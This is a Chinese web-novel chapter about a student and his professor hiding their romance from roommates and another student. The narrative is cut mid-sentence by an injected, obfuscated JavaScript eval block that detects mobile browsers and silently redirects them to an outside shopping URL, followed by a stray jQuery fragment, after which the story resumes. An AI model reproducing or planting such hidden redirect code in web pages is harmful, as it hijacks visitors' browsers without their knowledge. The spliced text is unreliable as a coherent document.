周二下午,陆知许刚走出宿舍楼,就被陈宇从后面勾住了脖子。
“老陆,去哪儿啊?”陈宇笑得不怀好意,“又去图书馆‘学习’?”
陆知许的身体僵了一下。
自从昨天脖子上的吻痕被室友发现后,他就一直处于被“审讯”的状态。三个室友轮番上阵,试图从他嘴里撬出那个“外校女朋友”的信息。
“去教学楼,”陆知许小声说,“有课。”
“是吗?”李锐也从后面走上来,搭上他的另一边肩膀,“哪个教室啊?我们送你去?”
陆知许知道他们在怀疑什么。
但他不能说实话。
“307,”他说,“谢教授的课。”
“哦——谢教授的课啊。”陈宇拖长了音调,和旁边的李锐交换了一个眼神,“那可是要好好听。不过老陆,你最近是不是有点太‘好好听’谢教授的课了?”
陆知许的心脏漏跳了一拍。
“什么意思?”他故作镇定。
“意思就是,”张子轩也从后面跟上来,三个人把陆知许围在中间,“你最近往谢教授办公室跑得也太勤了吧?昨天下午去了两次,前天也去了,大前天也去了……”
“我是课代表,”陆知许说,“当然要经常去。”
“课代表也不用天天去吧?”陈宇挑眉,“而且每次去都待那么久,一待就是一个小时。你们在讨论什么啊,讨论这么久?”
陆知许的脸开始发热。
“就是……论文的事……”他含糊地说。
“论文需要讨论一个小时?”李锐追问,“老陆,你老实交代,你是不是……”
他顿了顿,凑近陆知许耳边,压低声音:“你是不是在追谢教授?”
陆知许的大脑一片空白。
血液好像一下子冲上了头顶,然后又迅速退去,留下冰凉的麻木感。
“你、你在胡说什么……”他的声音在颤抖。
“我胡说?”李锐笑了,“那你说说,你脖子上那个吻痕是谁留的?别告诉我是蚊子咬的,蚊子可咬不出那种形状。”
陆知许答不上来了。
他只能低着头,紧紧攥着书包带子,指尖因为用力而泛白。
三个室友看着他窘迫的样子,交换了一个意味深长的眼神。
最后还是陈宇拍了拍他的肩:“行了行了,不逗你了。快去上课吧,别迟到了。”
陆知许如蒙大赦般点点头,快步离开了。
但他能感觉到,身后三道视线一直跟着他,直到他转过教学楼拐角。
---
307教室,陆知许像往常一样坐在中间靠前的位置。
但今天,他总觉得有些不安。
脑海里反复回放着刚才和室友的对话,和那些意味深长的眼神。
他们是不是发现了什么?
是不是猜到了他和谢砚的关系?
如果猜到了,会怎么样?
会告诉别人吗?
会去举报吗?
会……
陆知许不敢再想下去。
上课铃响前,谢砚走进教室。
今天他穿了一件深蓝色的衬衫,领口挺括,袖子挽到手肘。看起来和平时没什么不同,依然严肃,依然禁欲。
但陆知许知道,在那件衬衫下面,藏着他留下的痕迹。
这个认知让他稍微安心了一些。
至少,谢砚是他的。
至少,他们拥有彼此。
整堂课,陆知许努力集中注意力听课。
但他失败了。
他的视线总是不自觉地飘向教室门口,飘向窗外,担心室友会突然出现,担心会有其他人发现他和谢砚的秘密。
下课铃响时,陆知许几乎是立刻站起来,想要离开教室。
但谢砚的声音让他僵在了原地:
“课代表,等一下。”
全班的目光再次聚焦过来。
陆知许僵硬地转身:“教授……”
“来我办公室一趟。”谢砚说,语气很平淡,“关于学术沙龙的事,需要跟你确认几个细节。”
“好、好的。”陆知许小声说。
他站在原地,看着谢砚收拾教案,看着他走向门口,看着他……在经过他的座位时,用只有两个人能听见的声音说:
“别紧张。”
很轻的三个字。
但陆知许听见了。
他抬起头,对上谢砚深褐色的眼睛。
那双眼睛里有什么东西在流动,很温柔,很……安抚。
陆知许的心稍微安定了一些。
他点点头,跟着谢砚走出了教室。
---
办公室里,谢砚关上门,然后转身看着陆知许。
“怎么了?”他问,语气比刚才柔和了许多,“从刚才上课开始,你就一直心神不宁。”
陆知许低下头:“我室友……他们可能发现了……”
“发现什么?”谢砚问。
“发现我们……”陆知许小声说,“昨天我脖子上的痕迹被他们看见了,他们一直在追问……”
谢砚沉默了几秒。
然后他走过来,伸手抬起陆知许的下巴,强迫他看着自己。
“他们怎么问的?”谢砚问。
“他们问我是不是谈恋爱了……问我对方是谁……”陆知许说,眼睛开始泛红,“我不知道该怎么回答……”
“那就不要回答。”谢砚说,拇指轻轻擦过陆知许的眼角,“我们的关系,不需要向任何人解释。”
“可是……”陆知许小声说,“如果他们猜到了是您……”
“猜到了又怎样?”谢砚挑眉,“他们有什么证据吗?”
陆知许愣住了。
证据?
他们有什么证据?
吻痕吗?那可以解释成是别人留的。
频繁去办公室吗?那可以解释成是课代表的工作。
私下见面吗?那可以解释成是师生间的正常交往。
好像……确实没有什么确凿的证据。
“但是……”陆知许还是有些不安,“如果他们去乱说……”
“那就让他们说。”谢砚说,声音很平静,“只要你我不承认,他们说什么都没用。”
陆知许看着谢砚冷静的样子,心里的不安慢慢平息下来。
是啊,只要他们不承认,别人说什么都没用。
师生关系是敏感,但也不是没有先例。
只要小心一点,谨慎一点,应该没问题。
“过来。”谢砚说,拉着陆知许的手,走到沙发前坐下。
陆知许乖乖坐下,靠在谢砚怀里。
谢砚搂着他的肩,轻轻拍着他的后背。
“别怕,”他说,“有我在。”
陆知许点点头,把脸埋进谢砚颈窝里。
谢砚身上的味道很好闻,淡淡的檀木香,混着一点洗衣液的清新。
让他安心。
“教授……”陆知许小声说。
“嗯?”
“如果……如果真的被人发现了,您会怎么办?”陆知许问。
谢砚沉默了几秒。
然后他说:“那就公开。”
陆知许猛地抬起头:“公开?”
“嗯。”谢砚点头,表情很认真,“如果你愿意的话。”
陆知许的心脏开始疯狂跳动。
公开。
向所有人公开他们的关系。
让所有人都知道,谢砚是他的。
这个念头太诱人了,诱人到让他几乎要立刻点头。
但理智告诉他,不行。
至少现在不行。
“不行……”陆知许小声说,“您现在还在评职称……不能有这种负面新闻……”
谢砚看着他,眼神很深。
“我不在乎。”他说。
“我在乎。”陆知许说,很认真,“我不要因为我的原因,影响到您的前途。”
谢砚愣住了。
他看着陆知许认真的样子,心里某处柔软的地方被触动了。
“傻瓜。”他低声说,揉了揉陆知许的头发,“我的前途,没有你重要。”
陆知许的眼泪又开始往下掉。
但这次是感动的眼泪。
“谢砚……”他小声说,第一次主动叫出这个名字。
谢砚的身体颤了一下。
“再叫一遍。”他说。
“谢砚。”陆知许又叫了一遍,然后吻住了谢砚的嘴唇。
这个吻很温柔,很缠绵。
带着感激,带着爱意,带着想要保护对方的决心。
谢砚闭上眼睛,回应着这个吻。
两人在沙发上接吻,直到办公室的门被敲响。
“谢教授在吗?”门外传来一个女声。
是林薇。
陆知许的身体僵住了。
谢砚轻轻推开他,整理了一下衣服,然后站起身。
“去里面。”他指了指休息室,压低声音说。
陆知许点点头,快步走进休息室,关上门。
谢砚走到办公室门口,打开门。
“林薇同学,有事吗?”他问,语气很平淡。
“教授,”林薇站在门外,手里拿着一份文件,“我写完了论文初稿,想请您帮我看看……”
她的视线
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301350|198640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
越过谢砚,看向办公室里面,似乎想看看有没有别人。
“进来吧。”谢砚说,侧身让开。
林薇走进办公室,把文件放在桌上。
谢砚在办公桌后坐下,翻开文件看了起来。
休息室里,陆知许贴着门板,听着外面的动静。
他能听见谢砚翻动纸张的声音,能听见林薇说话的声音,能听见……
他听见林薇说:“教授,您今天这件衬衫真好看,很适合您。”
陆知许的手指收紧。
他听见谢砚说:“谢谢。我们来讨论你的论文。”
很平静的语气,没有任何波澜。
陆知许稍微安心了一些。
但下一秒,他又听见林薇说:“教授,您脖子上……是不是有什么?”
陆知许的心脏狠狠跳了一下。
他记得,今天谢砚穿的衬衫领口不算高,如果他低头的话,可能会露出脖子上的痕迹。
难道……
“什么?”谢砚的声音传来。
“就是……”林薇似乎在犹豫,“您脖子侧面……好像有点红……”
陆知许屏住了呼吸。
他等着谢砚的回答。
几秒后,谢砚说:“可能是蚊子咬的。”
很平淡的回答。
林薇似乎信了:“哦……最近蚊子是挺多的。教授您要注意防蚊啊。”
“嗯。”谢砚应了一声,“我们继续看论文。”
陆知许松了一口气。
但他知道,这只是开始。
以后还会有更多的人注意到,会有更多的猜测,会有更多的危险。
他们必须更加小心。
更加谨慎。
---
十分钟后,林薇离开了办公室。
谢砚打开休息室的门,看见陆知许还站在门后,脸色有些苍白。
“吓到了?”谢砚问,走过去搂住他。
陆知许点头:“我听见她问您脖子上的痕迹……”
“没事。”谢砚说,揉了揉他的头发,“我应付过去了。”
“可是……”陆知许小声说,“以后可能还会有别人问……”
“那就让他们问。”谢砚说,表情很平静,“我有的是办法应付。”
陆知许看着谢砚冷静的样子,心里的不安慢慢平息下来。
是啊,谢砚比他想象中要强大得多。
也比他想得更周全。
“对了,”谢砚突然说,“下周我要去上海参加一个学术会议,三天。”
陆知许愣住了:“三天?”
“嗯。”谢砚点头,“周四走,周日回。”
陆知许的心沉了一下。
三天见不到谢砚。
这对他来说,太久了。
“我……”他小声说,“我会想您的……”
“我也会想你。”谢砚说,捧住他的脸,“所以,在我走之前,我想做一件事。”
“什么事?”陆知许问。
谢砚看着他,深褐色的眼睛里有什么东西在流动。
然后他低下头,在陆知许的脖子上轻轻吻了一下。
不重,但足以留下痕迹。
在昨天那个痕迹旁边,又留下了一个新的印记。
陆知许的身体颤了一下。
“这样,”谢砚说,指尖轻轻抚过那个新留下的痕迹,“我不在的时候,你看到这个,就会想起我。”
陆知许的眼泪又开始往下掉。
但这次不是因为难过,是因为……感动。
“我也要在您身上留下一个。”他说,踮起脚,在谢砚的脖子上也留下一个吻痕。
在昨天他留下的痕迹旁边,又留下了一个新的。
两个痕迹并排,像一对小小的翅膀。
“这样,”陆知许说,“您看到这个,也会想起我。”
谢砚笑了。
笑得很温柔,很满足。
“好。”他说,把陆知许搂进怀里,“我们都有对方的印记了。”
陆知许靠在谢砚怀里,闭上眼睛。
感受着这个人的体温,感受着这个人的心跳。
然后他想起了室友的怀疑,想起了林薇的试探,想起了未来可能遇到的所有危险。
但他不害怕了。
因为谢砚在这里。
因为他们是彼此的。
因为只要在一起,什么困难都能克服。
窗外阳光正好。
办公室里很安静。
只有两个人的心跳声,交织在一起。
像一首无声的誓言。
誓言要永远在一起。
无论发生什么。